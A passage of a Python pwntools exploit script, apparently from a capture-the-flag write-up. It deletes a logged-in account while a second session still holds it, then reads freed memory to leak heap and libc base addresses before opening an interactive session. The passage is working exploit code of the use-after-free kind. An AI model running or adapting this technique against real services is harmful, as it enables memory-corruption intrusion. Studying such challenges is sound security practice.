etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
p1.send(build_event(etype, user_payload('user7', 'password', 1, 1)))

# pause()

sleep(1)
# login as user 7
etype = CLIENT_EVENT | CLIENT_LOGIN | DEF_BUFFER
temps[0].send(build_event(etype, user_payload('user7', 'password', 1, 1)))

etype = CLIENT_EVENT | CLIENT_DELETE_ACCOUNT | DEF_BUFFER
p1.send(build_event(etype, pad('user7')))


etype = CLIENT_EVENT | CLIENT_GET_DETAILS | DEF_BUFFER
temps[0].send(build_event(etype, pad('user7')))
#delete account user7

data = temps[0].recvall(timeout=2)
leak_bytes = data[16+8:24+8]
heap_leak = u64(data[16:24])


libc_base = u64(leak_bytes) - 0x203b20
libc.address = libc_base
print(f"libc_base: {hex(libc_base)}")
print(f"heap_leak: {hex(heap_leak)}")
heap_base = heap_leak - 0xab60

p1.interactive()

```
</details>